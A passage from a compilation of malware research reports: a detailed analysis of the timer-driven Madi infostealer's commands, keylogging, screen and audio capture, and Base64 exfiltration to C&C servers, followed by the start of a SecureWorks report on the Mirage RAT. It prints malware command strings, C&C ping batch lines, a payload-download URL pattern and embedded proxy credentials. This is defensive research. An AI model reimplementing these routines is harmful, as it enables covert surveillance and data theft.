order to make the description a little easier to follow, here is a sample command file: When executed, Timer 12 is disabled. The infostealer Trojan then checks if the file "dast.xls" is present (created by Timer 17, see above). If it's not present, Timer 12 is re-enabled and returns. The next stage of the process opens "dast.xls" which searches for commands to execute (see the command file above). Lots of commands can be sent simultaneously, meaning Timer 12 will not stop parsing when one command is found. Here is the full logic of the parsing: PIK: If the command file contains the word "pik", it checks if the status of Timer 3 is enabled. (Timer 3 is a webmail, social network and IM screen capture routine.) If not enabled, Timer 3 is enabled, and screen monitoring begins. Command parsing continues. If the "pik" command is not found, Timer3 is disabled. DESK: If the command file contains the word "desk", it checks if the status of Timer 13 is enabled. (Timer 13 is a screen capture routine.) If not enabled, Timer 13 is enabled, and screen monitoring begins. Command parsing continues. If the "desk" command is not found, Timer13 is disabled. SOUND: If the command file contains the word "sound", it checks if the status of Timer 14 is enabled. (Timer 14 is a sound recording routine.) If not enabled, Timer 14 is enabled, and sound recording begins. Command parsing continues. If the "sound" command is not found, Timer14 is disabled. If the command file contains the word "newfi", nothing happens. This is probably a leftover from older code. UPDATE: If the command file contains the word "update", it checks to see if it also contains a version number, which must be different from current version ("1.1.6" in the analyzed sample). If neither of those two conditions are valid, it goes to the next command parsing. The checking routine is very simplistic and assumes that the version number will be higher, not lower. It is therefore possible to downgrade the Trojan. If the required update criteria are met, it will create "Update.dll". (Update.dll is made from a hardcoded stream of bytes and isn't a valid DLL.) The Trojan now locates the "STARTUP" folder where a copy of the "UpdateOffice.exe" (Trojan downloader) is found, and executes it using ShellExecute. (In the first part of the article, we explained how the downloader downloads and installs the infostealer.) The Trojan downloader is necessary in order for updates to occur. If the downloader has been deleted for some reason, the update won't be performed. Once executed, Timer 12 terminates its execution, as the infostealer executable (iexplore.exe) will be overwritten by the Trojan downloader with a newer version and executed. DELETE: If the command file contains the word "delete", it will create "delete.dll", using exactly the same stream of bytes that is used in "update.dll". The Trojan now locates the "STARTUP" folder where a copy of the "UpdateOffice.exe" downloader is located, and deletes it. Once deleted, it then proceeds to terminate itself. At this point, upon the next reboot, the infection isn't restarted. Note: The infostealer doesn't restart by itself, allowing an automatic update every time the computer reboots. On the other hand all the other downloader files (non-malicious) are still present in the /printhood/ folder. The full folder of the infostealer is still present, as is the malware. BIND: If neither "update" nor "delete" are found, Timer 12 checks if the command file contains the word "bind" and creates "nrbindek.dll" using exactly the same stream of bytes that is used in "update.dll". Nothing else happens at this point. However, as we have seen in the Form creation, upon execution, the malware checks whether "nrbindek.dll" is present. If it is present, Timer 12 will enable Timer 28. If "bind" isn't found, the parsing continues with the next command. DISKGO: If the command file contains the word "diskgo", it will create "lbdiskgo.dll", using exactly the same stream of bytes that is used in "update.dll". Parsing continues with next command. Note: "lbdiskgo.dll" is checked by Timer 42 and Timer 43. DISKGET: If the command file contains the word "diskget", it will create "fskdiskget.dll", using exactly the same stream of bytes that is used in "update.dll" and enable Timer 23. Timer 12 then checks whether "specialfile.dll" is present. If NOT, it will look for the file extensions included in the command that was received. The attackers select from a list of 27 extensions that are provided by the C&C server, and which can be selected using a Remote Control Tool (see at the beginning of the Timer 12 description to view the extensions listed in the sample command file). Each file extension is separated by a special marker "$.$". Timer 12 searches for the "$.$" marker. If it's not present, the parsing stops there. If the marker is present, it saves those extensions to the "specialfile.dll" and enables Timer 26. Note: Specialfile.dll is therefore used to tell the malware what file extensions to look for and Timer 26 will handle diskget. Afterwards, or if specialfile.dll was already present, it will check whether the "logfi.dll" is present, and stop parsing commands if it is not. If the file is present, it looks in the command buffer for the word "file" and exits the commands parsing if not found. If logfil.dll is present, it will search files on fixed hard drives and remote drives. The authors' poor programming skills are quite noticeable in this part of the code. It is also interesting to note that it will search for "MHTML" files, even if that option isn't available in the Server Control tool, and that they made a duplicate entry in the hardcode list of files that need to be to located (htm is present twice). File types searched: *.*txt/*.*jpg/*.*doc/*.*pdf/*.*bmp/*.*docx/*.*mdb/*.*xls/*.*csv/*.*html/*.*avi/ *.*mp3/*.*wave/*.*htm/*.*rar/*.*zip/*.*htm (again?!)/*.*gif/*.*7z/*.*jar/*.*JPEG/*.*mp4/*.*3gp/ *.*dat/*.*MPEG/*.*SWF/*.*WMV/*.*xml/*.*MHTML/ Total of 29 extensions, with one duplicate. 27 extensions are present in the Server Control tool and one that is not (MHTML). It saves the log file as "logfi.dll" for each hard drive and creates a backup as "logfi.dll.BMH". It will overwrite the logs for each iteration of the loop. It only search files on remote and fixed drives, not on USB/external drives; that's for the logging part. Once the Parsing is complete, Timer 12 re-enables itself and exits. Monitoring Timer 3: PIK handler Webmail, social network and IM screen capture Interval: 60 seconds. Timer 3 creates a "begirnagir.htp" file. It then checks whether the user has been surfing or using the following applications and takes a screen capture if found: gmail, hotmail, yahoo! mail, google+, msn messenger, blogger, massenger (?), profile,icq, paltalk, yahoo! messenger for the web, skype, facebook. The screen captures are saved as a JPG using the following name convention: mm-dd-yyyy-hhnnss. The "Now" and "FormateDateTime" functions are used. Timer 13: DESK handler Screen capture Interval: 3 minutes Note: The GUI used to control the bot says 2 minutes, but the code doesn't lie. Timer 13 takes screen captures every 3 minutes. They are saved using the following name convention: mm-dd-yyyy-hhnnss. The "Now" and "FormateDateTime" functions are used. The files are in JPG format. Timer 14: SOUND handler Recording sound This timer is responsible for starting the audio recording using the mci* functions from winmm.dll. The following commands are used: "OPEN NEW TYPE WAVEAUDIO ALIAS mysound", "SET mysound TIME FORMAT MS BITSPERSAMPLE 8 CHANNELS 1 SAMPLESPERSEC 8000 BYTESPERSEC 8000" and finally "RECORD mysound". Once the commands are sent, Timer 30 is enabled, and Timer 14 returns. Timer 30: Started by Timer 14 (sound command handler) Interval: 60 seconds This timer does anything apart from start Timer 31 when it is time to save the recoded audio. Timer 31: Started by Timer 30 (when it is time to save audio recordings) When sufficient time has passed since the start of audio recording, Timer 31 disables Timer 30, stops the recording by sending the following command: "STOP mysound". To save audio files, it sends the "SAVE mysound" command. The files are saved using the following name convention: mm-dd-yyyy-hhnnss. The "Now" and "FormateDateTime" functions are used. The final file is saved as .wav.BMH. Timer 31 is then disabled, and Timer 14 (Sound handler) is re-nabled for the next audio recording. Timer 32: Set up keylogger Interval: 60 seconds Even though the keylogger setup is performed when the application starts, in the FormCreate routine Timer 32 sets up the keylogger every 60 seconds. The details of the keylogger have already been described earlier in this document. Timer 2: Creation of keylogger logs Interval: 10 seconds Timer 2 starts by getting the current user name (GetUserName API Function), and then checks if the "poki65.pik" file is present. This file is the current ongoing keylogging file. If it's not present, it looks for "solt.html", which indicates whether the keylogger has created its first log yet. If none of those files are present, it means it is the first time the keylogger has started logging. The first log file is different from subsequent log files, as it contains more information. The Madi keylogger files use HTML tags and colors to make them easier to read. For the first log, it executes "cmd.exe /c ipconfig /allcompartments > ipconfig.txt" It waits 5 seconds and appends the content of "ipconfig.txt" to the HTML content that is created. The computer name as well as the current user name is appended to the log, followed by the list of available drives: Floppy Drive, Fixed Drive, Network Drive, CD-Rom Drive and RAM Disk. Finally, a full list of installed software, including security patches, is appended to the log file, as can be seen on the screenshot below: Once this part is completed, it creates a file called "solt.htm" containing the word "wertik". It will continue formatting the poki65 log file. At the very beginning you can see the "Content-Language" set to "fa", which is Persian. This is how the keylogger logs are generated. Timer 4: Insert time stamps and tags to display screen captures into keylogger logs. Interval: 1 millisecond Timer 4 is responsible for inserting IMG tags inside the keylogger log. It is also responsible for adding the time stamp taken from the C&C server (see Miscellaneous section, Timer 7 and 8). Timer 6: Backup keylogger log for exfiltration Timer 6 searches for the poki65.pik file - the current log session. If not found, it returns. It then looks for the size of the log file. If it is lower than 15 KB, it will return. Only log files bigger than 15 KB are exfiltrated. If the size criteria is met, they are copied using the following name convention: mm-ddyyyy-hhnnss.HTM. Timer 6 then deletes "poki65.pik" and returns. Note: A new log will be created by Timer 2 (solt.html tells the keylogger not to list drives, installed software etc. again). DATA STEALING Data stealing is handled by several timers. Each type of stolen data is stored in a special folder in the server. Files exfiltrated to the C&C servers are Base64 encoded. BIND: Timer 28: Started during Form Creation (related to the BIND command) Note: When the infostealer starts, Timer 28 is enabled if the file "nrbindek.dll" is present (created by the BIND command). Timer 28 searches for "*.*exe" files on all fixed hard drives. For each *EXE* file found that doesn't belong to the "Windows", "Program Files" or "Program Files (x86)" folders, an entry (full path to *EXE* file) is added to the file filebind.xls. Once the hard drives have been scanned, Timer28 returns. Filebind.xls therefore contains all the executables on the fixed hard drives, except from those in Windows and Program Files. Timer 29: Started during Form Creation (related to the BIND command) Note: The code of this timer is some of the worst that is used in the infostealer. The programming, obfuscated with Delphi, is very bad. Timer 28 generates a list of *EXE* files that don't belong to the "Windows", "Program Files" or "Program Files (x86)" folders. For each entry of that file, Timer 29 will make a backup of the executables. The *.bind* extension is appended to their original name. Many files are used to monitor the exfiltration status of the executables. However, Timer 29 doesn't actually seem to exfiltrate anything, probably because of bugs. Timer 9: Check for files ready to be uploaded Interval: 5 seconds Timer 9 is disabled. If either Timer 19 or Timer 20 is enabled, it means there is already an active exfiltrating task. Timer 9 is enabled and it returns. Otherwise, Timer 9 searches for files *.*KILOP as well as *.htm.BMH* files in the malware directory. KILOP files are Base64 encoded versions of files to exfiltrate. If no file is found, Timer 9 is enabled and returned. If files are present, they are ready to be exfiltrated, and Timer 19 is enabled. Before returning, Timer 9 is enabled. Timer 19: Check if IE instrumentation has been used to visit the upload page. Interval: 25 seconds Timer 19 searches for a specific page title: If the page title "new title hastam - Microsoft Internet Explorer" is found, Timer 19 returns. "OKshodiha - Windows Internet Explorer" means a file is ready to be uploaded Timer 20 is enabled and returns. If none of those captions are found, Timer 19 starts IE_Instrumentation and visits the Sendfilejj.html page, enables Timer 20, then returns. Timer 20: File upload Timer 20 searches for *.*KILOP files, computes the BOTID (see Timer 1 for details), and fills the POST parameters. The "S0", "S1" and "S2" forms present in the Sendfilejj.html are "filled" and the file is uploaded using IE Instrumentation. T3, is the BOTID+Folder used for uploading (see below) T2 is the file name T1 is the Base64 encoded content of the file. To compute T3, the following folder is appended to the BOTID (each victim has a root folder named after the BOTID on the C&C). "/Pi/" for .jpg.BMH - Screen Captures "Te/ for .htm.BMH - Keylogger logs "/So/ for .wav.BMH - Audio Recordings "/Fi/" for important.file.BMH /Fi/CoolDisk/" for .fildik.BMH (data stolen from removable drives) Files are sent via the Sendfilejj.html page hosted on the C&C, which is a wrapper for the "sik.php" script used to receive exfiltrated data. Timer 5: Base64 encoder for exfiltrated data Interval: 1 millisecond When triggered, it disables Timer 5, searches for *.*BMH files (files that will be exfiltrated once Base64 encoded) in the malware folder. When one file is found, it checks if the file is indeed on the disk and accessible. It Base64 encodes it and saves it as nameoffile.BMH.KILOP. The non encoded version (BMH) is deleted, Timer 5 is re-enabled and it returns. Files are handled one by one, but the timer interval is very small, therefore it's almost instantaneous. Note: The resulting encoded files are those handled by Timer 20 described above. The process occurs as follows: Timer 9 enables Timer 19, which enables Timer 20 to upload files generated by Timer 5. Timer 21: Filesend.xls parser Filesend.xls has a list of files to exfiltrate. Upon execution, Timer 21 is disabled. If "filesend.xls" is present, it is opened and read. All the files to be exfiltrated are separated by the "*" character as in the example below: *C:Documents and Settings%USER% Desktoptoolsstealme.txt**C:Documents and Settings%USER% Desktoptoolsstealme2.txt* Timer 21 parses each entry, and will check whether the file exists. If it does, a copy of the file will be made in the malware directory with a .file.BMH extension. (In my example, we have: "stealme.txt.file.BMH".) Timer 10: Tracking what was uploaded and cleaning IE instrumentation pages When a file has been uploaded using Timer 20, a POST is made to the sik.php file, a page is returned containing the name of the uploaded file, as well as the hardcoded string "Save Shode" as you can see on the screen capture below: Timer 10 is responsible for keeping track of some of the uploaded files. Exfiltrated files are added to the "rafteha.zip", which lists the files that have already been handled. The last file path to be handled is saved to the "fileomade.xls" file. Timer 15: Check for "filesend.xls" Timer 15 is disabled upon execution and "filesend.xls" is sought. If present, Timer 15 is enabled and it returns. If not, it checks whether Timer 1 is enabled. If Timer 1 is enabled, it enables Timer 15 and returns. If Timer 1 isn't enabled, Timer 15 checks the status of Timer 18. If it is enabled, Timer 15 re-enables itself and returns. If "filesend.xls" isn't present and both Timer 1 and Timer 18 are disabled, it creates a "pangtkp.bat" file, which contain "ping C&C_IP >C:DOCUME~1%USER%TEMPLA~1iexplore.exe.pkklm". That bat is executed, and both Timer 1 and 5 are enabled before returning. There are other timers that are in some way or other related to exfiltration and data stealing, but they are all fairly similar. There is a lot of redundancy in the malware. Timer 23: List all removable drives on the machine Timer 23 lists all the removable drives on the machine, enables Timer 24, Timer 23 disables itself and returns. Timer 24: Search and copy files from removable drives Timer 24 receives the list of removable drives computed by Timer 23, and searches all the files on the devices. Stolen files will be copied to the malware directory with fildik.BMH extensions, which will later be encoded as fildik.BMH.KILOP (Base64) and exfiltrated. The list of processed files are stored inside raftehacool.zip. Miscellaneous The infostealer contains 52 timers. Some of them do not perform any important tasks. The authors decided to ping the C&C server and save the results under specific file names. Those files are checked and parsed in order to find out if the C&C is up and if certain actions can be taken. This is pretty amateurish programming. Timer 44: simple ping via pangtipo.bat Timer 44 is disabled upon execution. Timer 44 checks whether Timer 45 is enabled and returns if it is. (Timer 44 is enabled prior to returning.) If Timer 45 is disabled, a "pangtipo.bat" file is created, which contains "ping C&C_IP >C:DOCUME~1%USER%TEMPLA~1iexplore.exe.pkxml". The bat file is executed, Timer 44 is enabled and Timer 44 returns. Timer 11: Simple ping from pangtip.bat Timer 11 is disabled upon execution.If Timer 16 is already enabled, Timer 11 re-enables itself and returns. If Timer 17 is already enabled, Timer 11 re-enables itself and returns. If none of the timers are enabled, it creates the "pangtip.bat" file, which contains "ping C&C_IP >C:DOCUME~1%USER%TEMPLA~1iexplore.exe.pkxm" and executes it via ShellExecute. Timer 16 is enabled and returns. Note: Timers 1, 7, 11, 15, 44 and 48 generate these batch files under different names and the results are saved under different names too. Timer 7: Was "timeip.php" visited? Timer 7 is disabled upon execution. Timer 7 checks whether the timeip.php page was visited. If not, it visits the page using IE instrumentation, Timer 7 disables itself and enables Timer 8 (see description below). It creates the "pangip.bat" file, which contain "ping C&C_IP". Results are saved as "iexplore.exe.pkam". Note: the file name used to save the output of the ping commands is based on the infostealer executable name, which is "iexplore.exe". If the executable is renamed, the log files will have different names. Timer 8: Parse the results of the timeip.php visit The timeip.php script returns the current time and the IP address of the victim. The results of the visit (done with IE instrumentation in Timer 7) are saved into a buffer which is used during the keylogger log creation (see Timer 4 description). Timer 22: Ensure there is a backup copy of UpdateOffice (downloader) Note: The downloader is the only malware that starts after Windows boots. It's therefore important to ensure various backup copies are made. Timer 22 checks if "UpdateOffice.exe" is present in the infostealer directory (templates). It shouldn't be, as it is only present in the printhood directory. (See Downloader description at the beginning of the article.) Since it is not present, it calls a subroutine to get the path to the "Printhood" directory (GetSpecialFolderLocation with CSIDL_PRINTHOOD parameter). While concatenating the "UpdateOffice.exe" and the "Printhood" folder, the "" character is missing, and therefore, the routine is bugged. The returned string is: "C:Documents and Settings%USER%PrintHoodUpdateOffice.exe" instead of "C:Documents and Settings%USER%PrintHoodUpdateOffice.exe". It then copies (or at least tries to, as the path is wrong) "C:Documents and Settings%USER%PrintHoodUpdateOffice.exe" as "srAntiq.dll" in the Templates folder. If "OfficeUpdate.exe" isn't present in the "printhood", a copy is made from "srAntiq.dll". It retrieves the path to the Startup Folder using the CSIDL_STARTUP: "C:Documents and Settings%USER%Start MenuProgramsStartup". Timer 22 checks whether "OfficeUpdate.exe" is present in that folder; if not, it will make a copy of srAntiq.dll to the Startup folder and returns from Timer 22. Timer 25: Check for "fsdiskget.dll" Timer 25 checks if "fsdiskget.dll" is present in the malware directory; if not, it returns. If the file is present, it enables Timer 23 (see the Data Stealing section for a description). Timer 42: lbdiskgo.dll, soltanik.dll and res.exe checking Timer 42 checks whether a flag (set by Timer 34 and cleared by Timer 33) is set to 0 and if lbdiskgo.dll, soltanik.exe and res.exe are present. If they are, it enables Timer 33; otherwise, it returns. Timer 43: lbdiskgo.dll / ladine.dll / res.exe checking Timer 43 returns directly if neither "lbdiskgo.dll" or "ladine.dll" are present. If res.exe is present, it enables Timer 44 and Timer 48; otherwise, it returns. Timer 45: Visit the ReReReRe.htm page Timer 45 deletes pangtipo.bat, reads iexplore.pkxml to make sure the C&C replied. (Timer 1 and Timer 16 provides some more details on the use of such .bat files.) Uses FindWindow to check whether IE Instrumentation has been used to visit the special ReReReRe.html page, which contains the following title: "r!r!r!r!". It looks for different variants such as "r!r!r!r! - Windows Internet Explorer" or "r!r!r!r! - Microsoft Internet Explorer". If one of them is found, it means the page was visited using IE instrumentation. It disables Timer 45 and returns. If none of them are found, Timer 45 will visit the URL http://C&CIP/ASLK//asgari/mah/ReReReRe.htm, enable Timer 46 (see below), disable Timer 45 and return. Timer 46: Parse "ReReReRe.htm" (downloaded by Timer 45) Timer 46 goes through all the different running instances of instrumented IE, looking at the title of each HTM page. The main interest here is "r!r!r!r!". This page is the ReReReRe.htm file downloaded by Timer 45. Timer 46 looks for a special EOF (End Of File) marker: "tamamshodfile". This marker is used by the infostealer to make sure the htm page was fully downloaded. Once the page has been confirmed as valid, it looks for the textarea id S1 which holds double Base64 encoded PE Files. The Base64 encoded data is saved as: ASLASLKK223.dll. Timer 47: Double decoding of Base64 encoded payload from ReReReRe.htm Note: Timer 46 saves the payload as ASLASLKK223.dll. Since the payload file is double encoded, the decoding is performed in two steps: ASLASLKK223.dll is decoded to ASLASLKK224.dll to get a single encoded Base64 file. ASLASLKK224.dll is decoded to "res.exe" : Final PE file. Res.exe is a copy of the Resource Hacker utility. ASLASLKK224.dll is deleted. The use of Res.exe is described in the analysis of Timer 39 below. Once Timer 47 has finished enumerating all the IE instances, it will call a cleaning routine. It searches for " - r!r!r!r! - Windows Internet Explorer" and different variants described in Timer 45 and sends a "WM_Close" Message to IE Windows in order to close them. Among all those captions, it also searches for " - 404 - File or directory not found." and variants of 404 pages. Once the cleaning is completed, Timer 47 disables itself and returns. Timer 49: Visit the SeSeSeSe.htm page Timer 49 is almost identical to Timer 45. The only difference is the page visited: SeSeSeSe.htm instead of ReReReRe.htm See the Timer 45 description for details. Timer 50: Parse "SeSeSeSe.htm" (downloaded by Timer 49) Timer 50 is almost identical to Timer 46. The only difference is the page parsed: SeSeSeSe.htm instead of ReReReRe.htm and local file names. The double encoded payload is saved as "ASLASLKK2231.dll". See the Timer 46 description for details. Timer 51: Double decoding of Base64 encoded payload from SeSeSeSe.htm Note: Timer 50 saves the payload as ASLASLKK2231.dll. Since the payload file is double encoded, the decoding is performed in two steps: ASLASLKK2231.dll is decoded to ASLASLKK2241.dll to get a single encoded Base64 file. ASLASLKK2241.dll is decoded to "Ladine.dll": final PE file. Note: At the time of writing, the SeSeSeSe.htm page had been removed from the C&C server. A C&C server used by older variants of the infostealer is still available and the old page name was "SSSS.htm". The embedded file is a template of a downloader executable (see Timers 35, 36, 37, 38 and 39 for further information). Once Timer 51 has finished enumerating all the IE instances, it will call a cleaning routine. It searches for " - s!s!s!s! - Windows Internet Explorer" and different variants described in Timer 45, and sends a "WM_Close" Message to IE Windows in order to close them. Among all those captions, it also searches for " - 404 - File or directory not found." and variants of 404 pages. Once the cleaning is completed, Timer 51 disables itself and returns. BETA/NON-WORKING FEATURES: New executable generation There are a few timers in the infostealer that are related to a missing file. I managed to find a copy of the missing file from an older command and control server, in order to understand the intentions of the authors. The missing file is downloaded by Timer 50: SeSeSeSe.htm. It's not present on the current C&C servers. If we were to replace the SeSeSeSe.htm with an old copy (originally SSSS.htm), Timer 51 would produce a file called "Ladine.dll", which is a template executable of the Trojan downloader used to install the infostealer. Timer 52: Copy Ladine.dll to "Soltanik.exe" Timer 52 makes a copy of "Ladine.dll" under the name "soltanik.exe", which is the template file. Timer 35: Clean files from Timer 39 Timer 35 is disabled. A special BOTID is created by concatenating "CoolDiskGo(" with "BOTID_TMP)", e.g.: CoolDiskGo(MYCOMPUTER-8712422C6C7704EF) Timer 35 puts the C&C IP address in a global variable that will be used by Timer 38. Timer 35 tries to delete the following several files created by Timer 39: 1.txt, res.ini, res.log, Icon_1.ico,output.rc and server.exe. It does several other things which are not relevant to what I describe here, so I've omitted any reference to those actions. Timer 36 is enabled before returning. Timer 36: Enable Timer 37 if 1.txt isn't found - logic/code bug Timer 36 is disabled upon execution. If "1.txt" isn't present, Timer 37 is enabled. Otherwise, it calls a Base64 decoding function. 1.txt must be a valid Base64 encoded stream of bytes; otherwise, an exception occurs and Timer 36 returns. Timer 37: Update resource for the template downloader: Soltanik.exe Timer 37 is disabled upon execution. A structure exception handler is installed before reading 1.txt. In the event of an exception the SEH handler will enable Timers 42, 34, 33, 35, and Timer 37 will return. Timer 37 expects 1.txt to be present and here is the logic bug. Timer 37 is only enabled when 1.txt isn't present, by Timer 36. Let's ignore the reasons for its creation and continue analyzing the intentions of the authors. Timer 37 calls the BeginUpdateResource (with the bDeleteExistingResources parameter set to 0), and start updating the resources of the template executable (soltanik.exe) in RCDATA. A MAHDI entry is added, with the Base64 content from 1.txt. This works in exactly the same way as the downloaders with social engineering features. Timer 38 is enabled, and Timer 37 returns. Note: At the end of Timer 37, Soltanik has been modified to have a new resource: MAHDI. Timer 38: Update more resources from the template downloader (Soltanik.exe) Several entries are added to RCDATA: Shelikn : Special BotID generated by Timer 35 SiteW: C&C IP address Bind: Empty (according to analysis of the downloaders that use social engineering, it should be the extension of the embedded file dropped to social engineering victims. If MAHDI contains a Base64 encoded picture, Bind should be set to .JPG). Filee: SCR Roze: 0 Once the resources have been updated, Timer 39 is enabled and Timer 38 returns. Timer 39: Generate a final binary: Server.exe with updated icon At the end of Timer 38, soltanik.exe has been fully updated with new resources. Upon execution, Timer 39 disables itself and starts generating a special command line for the Resource Hacker tool that was created as "Res.exe" by Timer 47. The command line is the following: There is a bug in the routine. An executable name is missing right after "-extract". The command line dumps the Main Icon to disk (Icon_1.ico) and creates a file called "output.rc". At this point, it is impossible to know which file was meant to be used as the source of a new icon. For the sake of our analysis, let's pretend the bug doesn't exist and that a valid file name was provided. Afterwards, a second command line is passed to "Res.exe": This final command line will generate Server.exe, a copy of soltanik.exe whose icon has been changed to the one extracted in the previous command. Server.exe is now fully updated. Its resources are filled, and its icon changed. It's not clear why the authors did this, but despite all the bugs it was possible to understand the overall aim of the routine: to create a Server.exe file from soltanik.exe with a new icon and added resources. What happens to Server.exe? Nothing, this is a non-working feature. It appears Madi has the ability to generate new downloaders, at least, in theory. The 7 remaining timers won't be described as they are of little interest. Conclusions In this article we closely analyzed the infostealer used in the Madi campaign. The coding style and the usage of Delphi, together with the programming techniques indicate a rudimentary approach. Most of the data-stealing actions and communication with the C&C servers take place via external files, which is rather messy. Whoever coded it is probably still reading through the first chapters of their Delphi manuals. This is maybe why it is surprising to note its effectiveness, considering the data received from the sinkhole. During the monitored period, a little over 800 victims were connected to the servers. All of them fell prey to the various social engineering techniques used by the malware. To sum up, we can say the following: the components of the Madi campaign are surprisingly unsophisticated no exploits or advanced 0-day techniques are used anywhere in the malware despite that, the overall success of the campaign is surprisingly high nevertheless, we should remember that even low quality malware can steal data Madi was a low investment, high profit project its authors remain unknown We will continue to monitor the Madi malware and update you on our findings in the future. The Mirage Campaign Author: Silas Cutler, Dell SecureWorks Counter Threat Unit(TM) Threat Intelligence Date: 18 September 2012 URL: http://www.secureworks.com/research/threats/the-mirage-campaign/ Introduction Since April 2012, the Dell SecureWorks Counter Threat Unit (CTU) research team has been tracking a cyber espionage campaign that uses a remote access trojan (RAT) named Mirage (also known as MirageFox). This ongoing attack has targeted a high-profile oil company in the Phillipines, a military organization in Taiwan, an energy company in Canada, and several as yet unidentified entities in Brazil, Israel, Egypt and Nigeria. Analysis Distribution vector Based on the data collected by the CTU research team, the campaign's primary attack vector is spearphishing email that targets mid-level to senior-level executives. These emails contain an attachment that includes a malicious payload that installs a copy of Mirage. CTU researchers have identified several files that drop and execute a copy of Mirage onto a target system. These "droppers" are designed to look and behave like PDF documents. However, the droppers are stand-alone executable files that open an embedded PDF file and execute the Mirage trojan. In one example, CTU researchers observed an executable file (MD5 hash ce1cdc9c95a6808945f54164b2e4d9d2) that upon execution drops a copy of Mirage and opens an embedded PDF of a news story titled "Yemeni Women can participate in politics just like men, says President Saleh" that was posted on the Yemen Observer's website. Behavior analysis The CTU research team has identified two main variants of the Mirage trojan. These variants are based on key evolutionary differences in the execution and encodings used in communication with the command and control (C2) servers. When Mirage executes, the original file copies itself to a folder under C:\Documents and Settings\\ or C:\Windows\ and then deletes the original file. After the initial copy, Mirage starts the newly created file and exits the original. The newly started copy creates registry keys to ensure that the system remains infected after every reboot. CTU researchers have observed the following filenames created after execution: svchost.exe ernel32.dll thumb.db csrss.exe Reader_SL.exe MSN.exe Phone-home and C2 operations The data sent by Mirage shares attributes with the malware family known as JKDDOS, which was researched by Arbor Networks. In its initial phone-home connection, JKDDOS sends a system profile to the C2 server. This profile contains the CPU speed, memory size, system name and username. Similar information and encoding techniques are seen in the initial phone-home requests of Mirage infections. Mirage phones home to its C2 servers using a standard HTTP request. From the activity CTU researchers have observed when executing Mirage in a malware sandbox, this communication commonly occurs over ports 80, 443 and 8080, and it can implement SSL for added security. The earliest variant of Mirage uses an HTTP POST request to transmit the initial phonehome request. This phone-home request contains detailed system information of the infected system to give the C2 server a rough profile of each system that is infected and that is calling home. Figure 1. Phone-home request (variant 1). The payload is encoded with a simple cipher to mask the data being sent to the C2 server. The cipher encodes the payload by adding each character's ASCII value by its offset from the start of the payload. Raw values Raw hex 0x4d 0x69 0x72 0x61 0x67 0x65 Raw decimal Encoded decimal 77 Encoded hex 0x4d 0x6a 0x74 0x64 0x6b 0x6a Encoded values Table 1. Payload encoding. The initial payload starts with the word "Mirage", which in its encoded state is "Mjtdkj". From there, Mirage encodes and sends the MAC address, CPU information, system name and username in the initial request to the C2 server. If the C2 server successfully receives the request, then it responds with an HTTP response code "200 OK". The word "Mirage" appears in its payload, followed by two null bytes. If there is no response or an invalid response from the C2 server, the infected system continues to send its initial phone-home request at regular intervals. Figure 2. Decoded payload (variant 1). If the infected system connects successfully to the C2 server, then the infected system continues to send regular check-in updates. These updates are transmitted the same way as the initial phone-home request; however, only the MAC address of the infected system is sent in the payload. Figure 3. Decoded check-in update (variant 1). The second variant of Mirage uses HTTP GET requests instead of HTTP POST requests to transmit the phone-home requests' payload. This evolved variant's initial phonehome request's payload is contained in a Base64-encoded string in the initial request. The decoded Base64 payload contains a second level of encoding that has several variations. The data being transmitted in the encoded string contains the same data as the previous variant, as well as some additional data. One change is the text at the beginning of the phone-home payload. Instead of the word "Mirage" used in earlier variants, later variants use the phrase "Neo, welcome to the desert of the real", a quote from the movie The Matrix. Figure 4. Sample request (variant 2). The CTU research team has seen the encoding used in variant 2 in other malware families. One such malware family is Lingbo, which uses a similar encoding algorithm but does not contain some of the major characteristics of Mirage. Samples from both malware families have included strange embedded quotes. Instead of Mirage's quote from The Matrix, Lingbo contains the embedded quote "It is the end of the world and I feel Fine", from the REM song "It's the end of the world." Custom versions and variants The CTU research team identified several Mirage variants that had unique attributes not designed for widespread targeting. These custom variants were designed to operate under specific conditions and to evade common system defenses. CTU researchers also found several samples that contained debugging information, possibly from early versions. One of the variants was seen in a subset of samples that had been modified specifically for the environment targeted by the threat actors. These samples had been configured with default credentials for the targeted environment's web proxy servers. The following proxy usernames and password combinations appear in the samples collected by the CTU research team: a1:a1 pagmb:pa quickheal:quickheal In the debugging versions, the CTU research team discovered two strings that identified the source code paths from which the samples were compiled: D:\....\MF-v1.2\Server\Debug\Server.pdb (MD5 hash fa26f410d0133f4152ea78df3978c22) E:\fox_1.2 20110307\MF-v1.2\Server\Release\MirageFox_Server.pdb (MD5 hash 1045e26819ff782015202838e2c609f7) The .pdb file extension is commonly used with Microsoft Visual Studio. Its use in these debugging versions coincides with the samples for Mirage, which were written using Microsoft Visual C++. CTU researchers also noted that the original name of the trojan used in the path is MirageFox, which is likely the name used by the threat actors. This information leads to two potential conclusions: 1. The two variants of MF-v1.2, the debug version and the release version, allow the threat actors to customize variants. CTU researchers have already seen this activity. 2. The use of different drive letters but similar source code paths may indicate that the threat actors are keeping a repository of tools on a central file server for shared use. Identification of victims From May to the date of this publication, the CTU research team engaged in a sinkholing operation. During the operation, several of the domains formerly used as part of the C2 infrastructure were taken over, and all activity to the domains was logged. The sinkholed domains were no longer in use and were freely available for registration. During the operation, CTU researchers were able to identify approximately 80 IP addresses regularly communicating to the sinkhole. After analyzing and decoding the requests, CTU researchers discovered that a subset of the observed systems had usernames such as "admin" or "owner", and the originating IP address resolved to either a residence or an antivirus or security company. Because these requests were most likely from behavioral testing on the malware sample, the CTU research team filtered these connections out of the results. After decoding the inbound requests, the CTU research team identified approximately 100-120 infected systems attempting to phone home. The majority of the inbound requests came from Taiwan or the Philippines, with several isolated cases in Nigeria, Brazil, Israel, Canada and Egypt. Many of the IP addresses originate from networks owned by the oil company, energy company, and military organization. Deeper analysis of the phone-home requests and correlation with social networking sites allowed CTU researchers to identify a specific individual infected with Mirage. It was an executive-level finance manager of the Phillipine-based oil company. Figure 5. Sources of infected hosts. Threat actors The threat actors using Mirage have employed several tactics to attempt to hide their identities and their primary C2 servers. One of the common tactics is using dynamic domain name system (dDNS) domains for the callbacks to the C2 servers. dDNS providers (e.g., Dyndns.com) allow anyone to register for a free third-level domain (e.g., Checkip.dyndns.org) and require only a valid email address, which is kept private. When investigating the DNS addresses of the C2 servers, CTU researchers identified several IP addresses of hosting companies based in the United States that are running HTran. HTran software is used to proxy connections from one system to another. In the past, it has been used to disguise the true C2 servers used by malware authors. In the CTU research team's 2011 analysis of HTran, the software's author was identified as a member of the Chinese hacker group HUC, the Honker Union of China. Despite efforts to operate anonymously, there were several clues that pointed to the true identities of the attackers. During an analysis of the phone-home activity, CTU researchers identified four unique second-level domains that were not connected to a 